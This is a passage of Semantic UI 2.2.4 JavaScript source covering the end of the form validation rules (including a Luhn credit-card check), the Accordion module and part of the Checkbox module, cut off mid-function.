    length               : '{name} must be at least {ruleValue} characters',
    exactLength          : '{name} must be exactly {ruleValue} characters',
    maxLength            : '{name} cannot be longer than {ruleValue} characters',
    match                : '{name} must match {ruleValue} field',
    different            : '{name} must have a different value than {ruleValue} field',
    creditCard           : '{name} must be a valid credit card number',
    minCount             : '{name} must have at least {ruleValue} choices',
    exactCount           : '{name} must have exactly {ruleValue} choices',
    maxCount             : '{name} must have {ruleValue} or less choices'
  },

  selector : {
    checkbox   : 'input[type="checkbox"], input[type="radio"]',
    clear      : '.clear',
    field      : 'input, textarea, select',
    group      : '.field',
    input      : 'input',
    message    : '.error.message',
    prompt     : '.prompt.label',
    radio      : 'input[type="radio"]',
    reset      : '.reset:not([type="reset"])',
    submit     : '.submit:not([type="submit"])',
    uiCheckbox : '.ui.checkbox',
    uiDropdown : '.ui.dropdown'
  },

  className : {
    error   : 'error',
    label   : 'ui prompt label',
    pressed : 'down',
    success : 'success'
  },

  error: {
    identifier : 'You must specify a string identifier for each field',
    method     : 'The method you called is not defined.',
    noRule     : 'There is no rule matching the one you specified',
    oldSyntax  : 'Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically.'
  },

  templates: {

    // template that produces error message
    error: function(errors) {
      var
        html = '<ul class="list">'
      ;
      $.each(errors, function(index, value) {
        html += '<li>' + value + '</li>';
      });
      html += '</ul>';
      return $(html);
    },

    // template that produces label
    prompt: function(errors) {
      return $('<div/>')
        .addClass('ui basic red pointing prompt label')
        .html(errors[0])
      ;
    }
  },

  rules: {

    // is not empty or blank string
    empty: function(value) {
      return !(value === undefined || '' === value || $.isArray(value) && value.length === 0);
    },

    // checkbox checked
    checked: function() {
      return ($(this).filter(':checked').length > 0);
    },

    // is most likely an email
    email: function(value){
      return $.fn.form.settings.regExp.email.test(value);
    },

    // value is most likely url
    url: function(value) {
      return $.fn.form.settings.regExp.url.test(value);
    },

    // matches specified regExp
    regExp: function(value, regExp) {
      if(regExp instanceof RegExp) {
        return value.match(regExp);
      }
      var
        regExpParts = regExp.match($.fn.form.settings.regExp.flags),
        flags
      ;
      // regular expression specified as /baz/gi (flags)
      if(regExpParts) {
        regExp = (regExpParts.length >= 2)
          ? regExpParts[1]
          : regExp
        ;
        flags = (regExpParts.length >= 3)
          ? regExpParts[2]
          : ''
        ;
      }
      return value.match( new RegExp(regExp, flags) );
    },

    // is valid integer or matches range
    integer: function(value, range) {
      var
        intRegExp = $.fn.form.settings.regExp.integer,
        min,
        max,
        parts
      ;
      if( !range || ['', '..'].indexOf(range) !== -1) {
        // do nothing
      }
      else if(range.indexOf('..') == -1) {
        if(intRegExp.test(range)) {
          min = max = range - 0;
        }
      }
      else {
        parts = range.split('..', 2);
        if(intRegExp.test(parts[0])) {
          min = parts[0] - 0;
        }
        if(intRegExp.test(parts[1])) {
          max = parts[1] - 0;
        }
      }
      return (
        intRegExp.test(value) &&
        (min === undefined || value >= min) &&
        (max === undefined || value <= max)
      );
    },

    // is valid number (with decimal)
    decimal: function(value) {
      return $.fn.form.settings.regExp.decimal.test(value);
    },

    // is valid number
    number: function(value) {
      return $.fn.form.settings.regExp.number.test(value);
    },

    // is value (case insensitive)
    is: function(value, text) {
      text = (typeof text == 'string')
        ? text.toLowerCase()
        : text
      ;
      value = (typeof value == 'string')
        ? value.toLowerCase()
        : value
      ;
      return (value == text);
    },

    // is value
    isExactly: function(value, text) {
      return (value == text);
    },

    // value is not another value (case insensitive)
    not: function(value, notValue) {
      value = (typeof value == 'string')
        ? value.toLowerCase()
        : value
      ;
      notValue = (typeof notValue == 'string')
        ? notValue.toLowerCase()
        : notValue
      ;
      return (value != notValue);
    },

    // value is not another value (case sensitive)
    notExactly: function(value, notValue) {
      return (value != notValue);
    },

    // value contains text (insensitive)
    contains: function(value, text) {
      // escape regex characters
      text = text.replace($.fn.form.settings.regExp.escape, "\\$&");
      return (value.search( new RegExp(text, 'i') ) !== -1);
    },

    // value contains text (case sensitive)
    containsExactly: function(value, text) {
      // escape regex characters
      text = text.replace($.fn.form.settings.regExp.escape, "\\$&");
      return (value.search( new RegExp(text) ) !== -1);
    },

    // value contains text (insensitive)
    doesntContain: function(value, text) {
      // escape regex characters
      text = text.replace($.fn.form.settings.regExp.escape, "\\$&");
      return (value.search( new RegExp(text, 'i') ) === -1);
    },

    // value contains text (case sensitive)
    doesntContainExactly: function(value, text) {
      // escape regex characters
      text = text.replace($.fn.form.settings.regExp.escape, "\\$&");
      return (value.search( new RegExp(text) ) === -1);
    },

    // is at least string length
    minLength: function(value, requiredLength) {
      return (value !== undefined)
        ? (value.length >= requiredLength)
        : false
      ;
    },

    // see rls notes for 2.0.6 (this is a duplicate of minLength)
    length: function(value, requiredLength) {
      return (value !== undefined)
        ? (value.length >= requiredLength)
        : false
      ;
    },

    // is exactly length
    exactLength: function(value, requiredLength) {
      return (value !== undefined)
        ? (value.length == requiredLength)
        : false
      ;
    },

    // is less than length
    maxLength: function(value, maxLength) {
      return (value !== undefined)
        ? (value.length <= maxLength)
        : false
      ;
    },

    // matches another field
    match: function(value, identifier) {
      var
        $form = $(this),
        matchingValue
      ;
      if( $('[data-validate="'+ identifier +'"]').length > 0 ) {
        matchingValue = $('[data-validate="'+ identifier +'"]').val();
      }
      else if($('#' + identifier).length > 0) {
        matchingValue = $('#' + identifier).val();
      }
      else if($('[name="' + identifier +'"]').length > 0) {
        matchingValue = $('[name="' + identifier + '"]').val();
      }
      else if( $('[name="' + identifier +'[]"]').length > 0 ) {
        matchingValue = $('[name="' + identifier +'[]"]');
      }
      return (matchingValue !== undefined)
        ? ( value.toString() == matchingValue.toString() )
        : false
      ;
    },

    // different than another field
    different: function(value, identifier) {
      // use either id or name of field
      var
        $form = $(this),
        matchingValue
      ;
      if( $('[data-validate="'+ identifier +'"]').length > 0 ) {
        matchingValue = $('[data-validate="'+ identifier +'"]').val();
      }
      else if($('#' + identifier).length > 0) {
        matchingValue = $('#' + identifier).val();
      }
      else if($('[name="' + identifier +'"]').length > 0) {
        matchingValue = $('[name="' + identifier + '"]').val();
      }
      else if( $('[name="' + identifier +'[]"]').length > 0 ) {
        matchingValue = $('[name="' + identifier +'[]"]');
      }
      return (matchingValue !== undefined)
        ? ( value.toString() !== matchingValue.toString() )
        : false
      ;
    },

    creditCard: function(cardNumber, cardTypes) {
      var
        cards = {
          visa: {
            pattern : /^4/,
            length  : [16]
          },
          amex: {
            pattern : /^3[47]/,
            length  : [15]
          },
          mastercard: {
            pattern : /^5[1-5]/,
            length  : [16]
          },
          discover: {
            pattern : /^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/,
            length  : [16]
          },
          unionPay: {
            pattern : /^(62|88)/,
            length  : [16, 17, 18, 19]
          },
          jcb: {
            pattern : /^35(2[89]|[3-8][0-9])/,
            length  : [16]
          },
          maestro: {
            pattern : /^(5018|5020|5038|6304|6759|676[1-3])/,
            length  : [12, 13, 14, 15, 16, 17, 18, 19]
          },
          dinersClub: {
            pattern : /^(30[0-5]|^36)/,
            length  : [14]
          },
          laser: {
            pattern : /^(6304|670[69]|6771)/,
            length  : [16, 17, 18, 19]
          },
          visaElectron: {
            pattern : /^(4026|417500|4508|4844|491(3|7))/,
            length  : [16]
          }
        },
        valid         = {},
        validCard     = false,
        requiredTypes = (typeof cardTypes == 'string')
          ? cardTypes.split(',')
          : false,
        unionPay,
        validation
      ;

      if(typeof cardNumber !== 'string' || cardNumber.length === 0) {
        return;
      }

      // verify card types
      if(requiredTypes) {
        $.each(requiredTypes, function(index, type){
          // verify each card type
          validation = cards[type];
          if(validation) {
            valid = {
              length  : ($.inArray(cardNumber.length, validation.length) !== -1),
              pattern : (cardNumber.search(validation.pattern) !== -1)
            };
            if(valid.length && valid.pattern) {
              validCard = true;
            }
          }
        });

        if(!validCard) {
          return false;
        }
      }

      // skip luhn for UnionPay
      unionPay = {
        number  : ($.inArray(cardNumber.length, cards.unionPay.length) !== -1),
        pattern : (cardNumber.search(cards.unionPay.pattern) !== -1)
      };
      if(unionPay.number && unionPay.pattern) {
        return true;
      }

      // verify luhn, adapted from  <https://gist.github.com/2134376>
      var
        length        = cardNumber.length,
        multiple      = 0,
        producedValue = [
          [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
          [0, 2, 4, 6, 8, 1, 3, 5, 7, 9]
        ],
        sum           = 0
      ;
      while (length--) {
        sum += producedValue[multiple][parseInt(cardNumber.charAt(length), 10)];
        multiple ^= 1;
      }
      return (sum % 10 === 0 && sum > 0);
    },

    minCount: function(value, minCount) {
      if(minCount == 0) {
        return true;
      }
      if(minCount == 1) {
        return (value !== '');
      }
      return (value.split(',').length >= minCount);
    },

    exactCount: function(value, exactCount) {
      if(exactCount == 0) {
        return (value === '');
      }
      if(exactCount == 1) {
        return (value !== '' && value.search(',') === -1);
      }
      return (value.split(',').length == exactCount);
    },

    maxCount: function(value, maxCount) {
      if(maxCount == 0) {
        return false;
      }
      if(maxCount == 1) {
        return (value.search(',') === -1);
      }
      return (value.split(',').length <= maxCount);
    }
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Accordion
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.accordion = function(parameters) {
  var
    $allModules     = $(this),

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    requestAnimationFrame = window.requestAnimationFrame
      || window.mozRequestAnimationFrame
      || window.webkitRequestAnimationFrame
      || window.msRequestAnimationFrame
      || function(callback) { setTimeout(callback, 0); },

    returnedValue
  ;
  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.accordion.settings, parameters)
          : $.extend({}, $.fn.accordion.settings),

        className       = settings.className,
        namespace       = settings.namespace,
        selector        = settings.selector,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,
        moduleSelector  = $allModules.selector || '',

        $module  = $(this),
        $title   = $module.find(selector.title),
        $content = $module.find(selector.content),

        element  = this,
        instance = $module.data(moduleNamespace),
        observer,
        module
      ;

      module = {

        initialize: function() {
          module.debug('Initializing', $module);
          module.bind.events();
          if(settings.observeChanges) {
            module.observeChanges();
          }
          module.instantiate();
        },

        instantiate: function() {
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.debug('Destroying previous instance', $module);
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          $title   = $module.find(selector.title);
          $content = $module.find(selector.content);
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            observer = new MutationObserver(function(mutations) {
              module.debug('DOM tree modified, updating selector cache');
              module.refresh();
            });
            observer.observe(element, {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', observer);
          }
        },

        bind: {
          events: function() {
            module.debug('Binding delegated events');
            $module
              .on(settings.on + eventNamespace, selector.trigger, module.event.click)
            ;
          }
        },

        event: {
          click: function() {
            module.toggle.call(this);
          }
        },

        toggle: function(query) {
          var
            $activeTitle = (query !== undefined)
              ? (typeof query === 'number')
                ? $title.eq(query)
                : $(query).closest(selector.title)
              : $(this).closest(selector.title),
            $activeContent = $activeTitle.next($content),
            isAnimating = $activeContent.hasClass(className.animating),
            isActive    = $activeContent.hasClass(className.active),
            isOpen      = (isActive && !isAnimating),
            isOpening   = (!isActive && isAnimating)
          ;
          module.debug('Toggling visibility of content', $activeTitle);
          if(isOpen || isOpening) {
            if(settings.collapsible) {
              module.close.call($activeTitle);
            }
            else {
              module.debug('Cannot close accordion content collapsing is disabled');
            }
          }
          else {
            module.open.call($activeTitle);
          }
        },

        open: function(query) {
          var
            $activeTitle = (query !== undefined)
              ? (typeof query === 'number')
                ? $title.eq(query)
                : $(query).closest(selector.title)
              : $(this).closest(selector.title),
            $activeContent = $activeTitle.next($content),
            isAnimating = $activeContent.hasClass(className.animating),
            isActive    = $activeContent.hasClass(className.active),
            isOpen      = (isActive || isAnimating)
          ;
          if(isOpen) {
            module.debug('Accordion already open, skipping', $activeContent);
            return;
          }
          module.debug('Opening accordion content', $activeTitle);
          settings.onOpening.call($activeContent);
          if(settings.exclusive) {
            module.closeOthers.call($activeTitle);
          }
          $activeTitle
            .addClass(className.active)
          ;
          $activeContent
            .stop(true, true)
            .addClass(className.animating)
          ;
          if(settings.animateChildren) {
            if($.fn.transition !== undefined && $module.transition('is supported')) {
              $activeContent
                .children()
                  .transition({
                    animation   : 'fade in',
                    queue       : false,
                    useFailSafe : true,
                    debug       : settings.debug,
                    verbose     : settings.verbose,
                    duration    : settings.duration
                  })
              ;
            }
            else {
              $activeContent
                .children()
                  .stop(true, true)
                  .animate({
                    opacity: 1
                  }, settings.duration, module.resetOpacity)
              ;
            }
          }
          $activeContent
            .slideDown(settings.duration, settings.easing, function() {
              $activeContent
                .removeClass(className.animating)
                .addClass(className.active)
              ;
              module.reset.display.call(this);
              settings.onOpen.call(this);
              settings.onChange.call(this);
            })
          ;
        },

        close: function(query) {
          var
            $activeTitle = (query !== undefined)
              ? (typeof query === 'number')
                ? $title.eq(query)
                : $(query).closest(selector.title)
              : $(this).closest(selector.title),
            $activeContent = $activeTitle.next($content),
            isAnimating    = $activeContent.hasClass(className.animating),
            isActive       = $activeContent.hasClass(className.active),
            isOpening      = (!isActive && isAnimating),
            isClosing      = (isActive && isAnimating)
          ;
          if((isActive || isOpening) && !isClosing) {
            module.debug('Closing accordion content', $activeContent);
            settings.onClosing.call($activeContent);
            $activeTitle
              .removeClass(className.active)
            ;
            $activeContent
              .stop(true, true)
              .addClass(className.animating)
            ;
            if(settings.animateChildren) {
              if($.fn.transition !== undefined && $module.transition('is supported')) {
                $activeContent
                  .children()
                    .transition({
                      animation   : 'fade out',
                      queue       : false,
                      useFailSafe : true,
                      debug       : settings.debug,
                      verbose     : settings.verbose,
                      duration    : settings.duration
                    })
                ;
              }
              else {
                $activeContent
                  .children()
                    .stop(true, true)
                    .animate({
                      opacity: 0
                    }, settings.duration, module.resetOpacity)
                ;
              }
            }
            $activeContent
              .slideUp(settings.duration, settings.easing, function() {
                $activeContent
                  .removeClass(className.animating)
                  .removeClass(className.active)
                ;
                module.reset.display.call(this);
                settings.onClose.call(this);
                settings.onChange.call(this);
              })
            ;
          }
        },

        closeOthers: function(index) {
          var
            $activeTitle = (index !== undefined)
              ? $title.eq(index)
              : $(this).closest(selector.title),
            $parentTitles    = $activeTitle.parents(selector.content).prev(selector.title),
            $activeAccordion = $activeTitle.closest(selector.accordion),
            activeSelector   = selector.title + '.' + className.active + ':visible',
            activeContent    = selector.content + '.' + className.active + ':visible',
            $openTitles,
            $nestedTitles,
            $openContents
          ;
          if(settings.closeNested) {
            $openTitles   = $activeAccordion.find(activeSelector).not($parentTitles);
            $openContents = $openTitles.next($content);
          }
          else {
            $openTitles   = $activeAccordion.find(activeSelector).not($parentTitles);
            $nestedTitles = $activeAccordion.find(activeContent).find(activeSelector).not($parentTitles);
            $openTitles   = $openTitles.not($nestedTitles);
            $openContents = $openTitles.next($content);
          }
          if( ($openTitles.length > 0) ) {
            module.debug('Exclusive enabled, closing other content', $openTitles);
            $openTitles
              .removeClass(className.active)
            ;
            $openContents
              .removeClass(className.animating)
              .stop(true, true)
            ;
            if(settings.animateChildren) {
              if($.fn.transition !== undefined && $module.transition('is supported')) {
                $openContents
                  .children()
                    .transition({
                      animation   : 'fade out',
                      useFailSafe : true,
                      debug       : settings.debug,
                      verbose     : settings.verbose,
                      duration    : settings.duration
                    })
                ;
              }
              else {
                $openContents
                  .children()
                    .stop(true, true)
                    .animate({
                      opacity: 0
                    }, settings.duration, module.resetOpacity)
                ;
              }
            }
            $openContents
              .slideUp(settings.duration , settings.easing, function() {
                $(this).removeClass(className.active);
                module.reset.display.call(this);
              })
            ;
          }
        },

        reset: {

          display: function() {
            module.verbose('Removing inline display from element', this);
            $(this).css('display', '');
            if( $(this).attr('style') === '') {
              $(this)
                .attr('style', '')
                .removeAttr('style')
              ;
            }
          },

          opacity: function() {
            module.verbose('Removing inline opacity from element', this);
            $(this).css('opacity', '');
            if( $(this).attr('style') === '') {
              $(this)
                .attr('style', '')
                .removeAttr('style')
              ;
            }
          },

        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          module.debug('Changing internal', name, value);
          if(value !== undefined) {
            if( $.isPlainObject(name) ) {
              $.extend(true, module, name);
            }
            else {
              module[name] = value;
            }
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };
      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;
  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.accordion.settings = {

  name            : 'Accordion',
  namespace       : 'accordion',

  silent          : false,
  debug           : false,
  verbose         : false,
  performance     : true,

  on              : 'click', // event on title that opens accordion

  observeChanges  : true,  // whether accordion should automatically refresh on DOM insertion

  exclusive       : true,  // whether a single accordion content panel should be open at once
  collapsible     : true,  // whether accordion content can be closed
  closeNested     : false, // whether nested content should be closed when a panel is closed
  animateChildren : true,  // whether children opacity should be animated

  duration        : 350, // duration of animation
  easing          : 'easeOutQuad', // easing equation for animation


  onOpening       : function(){}, // callback before open animation
  onOpen          : function(){}, // callback after open animation
  onClosing       : function(){}, // callback before closing animation
  onClose         : function(){}, // callback after closing animation
  onChange        : function(){}, // callback after closing or opening animation

  error: {
    method : 'The method you called is not defined'
  },

  className   : {
    active    : 'active',
    animating : 'animating'
  },

  selector    : {
    accordion : '.accordion',
    title     : '.title',
    trigger   : '.title',
    content   : '.content'
  }

};

// Adds easing
$.extend( $.easing, {
  easeOutQuad: function (x, t, b, c, d) {
    return -c *(t/=d)*(t-2) + b;
  }
});

})( jQuery, window, document );


/*!
 * # Semantic UI 2.2.4 - Checkbox
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.checkbox = function(parameters) {
  var
    $allModules    = $(this),
    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),
    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings        = $.extend(true, {}, $.fn.checkbox.settings, parameters),

        className       = settings.className,
        namespace       = settings.namespace,
        selector        = settings.selector,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $module         = $(this),
        $label          = $(this).children(selector.label),
        $input          = $(this).children(selector.input),
        input           = $input[0],

        initialLoad     = false,
        shortcutPressed = false,
        instance        = $module.data(moduleNamespace),

        observer,
        element         = this,
        module
      ;

      module      = {

        initialize: function() {
          module.verbose('Initializing checkbox', settings);

          module.create.label();
          module.bind.events();

          module.set.tabbable();
          module.hide.input();

          module.observeChanges();
          module.instantiate();
          module.setup();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying module');
          module.unbind.events();
          module.show.input();
          $module.removeData(moduleNamespace);
        },

        fix: {
          reference: function() {
            if( $module.is(selector.input) ) {
              module.debug('Behavior called on <input> adjusting invoked element');
              $module = $module.closest(selector.checkbox);
              module.refresh();
            }
          }
        },

        setup: function() {
          module.set.initialLoad();
          if( module.is.indeterminate() ) {
            module.debug('Initial value is indeterminate');
            module.indeterminate();
          }
          else if( module.is.checked() ) {
            module.debug('Initial value is checked');
            module.check();
          }
          else {
            module.debug('Initial value is unchecked');
            module.uncheck();
          }
          module.remove.initialLoad();
        },

        refresh: function() {
          $label = $module.children(selector.label);
          $input = $module.children(selector.input);
          input  = $input[0];
        },

        hide: {
          input: function() {
            module.verbose('Modifying <input> z-index to be unselectable');
            $input.addClass(className.hidden);
          }
        },
        show: {
          input: function() {
            module.verbose('Modifying <input> z-index to be selectable');
            $input.removeClass(className.hidden);
          }
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            observer = new MutationObserver(function(mutations) {
              module.debug('DOM tree modified, updating selector cache');
              module.refresh();
            });
            observer.observe(element, {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', observer);
          }
        },

        attachEvents: function(selector, event) {
          var
            $element = $(selector)
          ;
          event = $.isFunction(module[event])
            ? module[event]
            : module.toggle
          ;
          if($element.length > 0) {
            module.debug('Attaching checkbox events to element', selector, event);
            $element
              .on('click' + eventNamespace, event)
            ;
          }
          else {
            module.error(error.notFound);
          }
        },

        event: {
          click: function(event) {
            var
              $target = $(event.target)
            ;
            if( $target.is(selector.input) ) {
              module.verbose('Using default check action on initialized checkbox');
              return;
            }
            if( $target.is(selector.link) ) {
              module.debug('Clicking link inside checkbox, skipping toggle');
              return;
            }
            module.toggle();
            $input.focus();
            event.preventDefault();
          },
          keydown: function(event) {
            var
              key     = event.which,
              keyCode = {
                enter  : 13,
                space  : 32,
                escape : 27
              }
            ;
            if(key == keyCode.escape) {
              module.verbose('Escape key pressed blurring field');
              $input.blur();
              shortcutPressed = true;
            }
            else if(!event.ctrlKey && ( key == keyCode.space || key == keyCode.enter) ) {
              module.verbose('Enter/space key pressed, toggling checkbox');
              module.toggle();
              shortcutPressed = true;
            }
            else {
              shortcutPressed = false;
            }
          },
          keyup: function(event) {
            if(shortcutPressed) {
              event.preventDefault();
            }
          }
        },

        check: function() {
          if( !module.should.allowCheck() ) {
            return;
          }
          module.debug('Checking checkbox', $input);
          module.set.checked();
          if( !module.should.ignoreCallbacks() ) {
            settings.onChecked.call(input);
            settings.onChange.call(input);
          }
        },

        uncheck: function() {
          if( !module.should.allowUncheck() ) {
            return;
          }
          module.debug('Unchecking checkbox');
          module.set.unchecked();
          if( !module.should.ignoreCallbacks() ) {
            settings.onUnchecked.call(input);
            settings.onChange.call(input);
          }
        },

        indeterminate: function() {
          if( module.should.allowIndeterminate() ) {
            module.debug('Checkbox is already indeterminate');
            return;
          }
          module.debug('Making checkbox indeterminate');
          module.set.indeterminate();
          if( !module.should.ignoreCallbacks() ) {
            settings.onIndeterminate.call(input);
            settings.onChange.call(input);
          }
        },

        determinate: function() {
          if( module.should.allowDeterminate() ) {
            module.debug('Checkbox is already determinate');
            return;
          }
          module.debug('Making checkbox determinate');
          module.set.determinate();
          if( !module.should.ignoreCallbacks() ) {
            settings.onDeterminate.call(input);
            settings.onChange.call(input);
          }
        },

        enable: function() {
          if( module.is.enabled() ) {
            module.debug('Checkbox is already enabled');
            return;
          }
          module.debug('Enabling checkbox');
          module.set.enabled();
          settings.onEnable.call(input);
          // preserve legacy callbacks
          settings.onEnabled.call(input);
        },

        disable: function() {
          if( module.is.disabled() ) {
            module.debug('Checkbox is already disabled');
            return;
          }
          module.debug('Disabling checkbox');
          module.set.disabled();
          settings.onDisable.call(input);
          // preserve legacy callbacks
          settings.onDisabled.call(input);
        },

        get: {
          radios: function() {
            var
              name = module.get.name()
            ;
            return $('input[name="' + name + '"]').closest(selector.checkbox);
          },
          otherRadios: function() {
            return module.get.radios().not($module);
          },
          name: function() {
            return $input.attr('name');
          }
        },

        is: {
          initialLoad: function() {
            return initialLoad;
          },
          radio: function() {
            return ($input.hasClass(className.radio) || $input.attr('type') == 'radio');
          },
          indeterminate: function() {
            return $input.prop('indeterminate') !== undefined && $input.prop('indeterminate');
          },
          checked: function() {
            return $input.prop('checked') !== undefined && $input.prop('checked');
          },
          disabled: function() {
            return $input.prop('disabled') !== undefined && $input.prop('disabled');
          },
          enabled: function() {
            return !module.is.disabled();
          },
          determinate: function() {
            return !module.is.indeterminate();
          },
          unchecked: function() {
            return !module.is.checked();
          }
        },

        should: {
          allowCheck: function() {
            if(module.is.determinate() && module.is.checked() && !module.should.forceCallbacks() ) {
              module.debug('Should not allow check, checkbox is already checked');
              return false;
            }
            if(settings.beforeChecked.apply(input) === false) {
              module.debug('Should not allow check, beforeChecked cancelled');
              return false;
            }
            return true;
          },
          allowUncheck: function() {
            if(module.is.determinate() && module.is.unchecked() && !module.should.forceCallbacks() ) {
              module.debug('Should not allow uncheck, checkbox is already unchecked');
              return false;
            }
            if(settings.beforeUnchecked.apply(input) === false) {
              module.debug('Should not allow uncheck, beforeUnchecked cancelled');
              return false;
            }
            return true;
          },
          allowIndeterminate: function() {
            if(module.is.indeterminate() && !module.should.forceCallbacks() ) {
              module.debug('Should not allow indeterminate, checkbox is already indeterminate');
              return false;
            }
            if(settings.beforeIndeterminate.apply(input) === false) {
              module.debug('Should not allow indeterminate, beforeIndeterminate cancelled');
              return false;
            }
            return true;
          },
          allowDeterminate: function() {
            if(module.is.determinate() && !module.should.forceCallbacks() ) {
              module.debug('Should not allow determinate, checkbox is already determinate');
              return false;
            }
            if(settings.beforeDeterminate.apply(input) === false) {
              module.debug('Should not allow determinate, beforeDeterminate cancelled');
              return false;
            }
            return true;
          },
          forceCallbacks: function() {
            return (module.is.initialLoad() && settings.fireOnInit);
          },
          ignoreCallbacks: function() {
            return (initialLoad && !settings.fireOnInit);
          }
        },

        can: {
          change: function() {
            return !( $module.hasClass(className.disabled) || $module.hasClass(className.readOnly) || $input.prop('disabled') || $input.prop('readonly') );
          },
          uncheck: function() {
            return (typeof settings.uncheckable === 'boolean')
              ? settings.uncheckable
              : !module.is.radio()
            ;
          }
        },

        set: {
          initialLoad: function() {
            initialLoad = true;
          },
          checked: function() {
            module.verbose('Setting class to checked');
            $module
              .removeClass(className.indeterminate)
              .addClass(className.checked)
            ;
            if( module.is.radio() ) {
              module.uncheckOthers();
            }
            if(!module.is.indeterminate() && module.is.checked()) {
              module.debug('Input is already checked, skipping input property change');
              return;
            }
            module.verbose('Setting state to checked', input);
            $input
              .prop('indeterminate', false)
              .prop('checked', true)
            ;
            module.trigger.change();
          },
          unchecked: function() {
            module.verbose('Removing checked class');
            $module
              .removeClass(className.indeterminate)
              .removeClass(className.checked)
            ;
            if(!module.is.indeterminate() &&  module.is.unchecked() ) {
              module.debug('Input is already unchecked');
              return;
            }
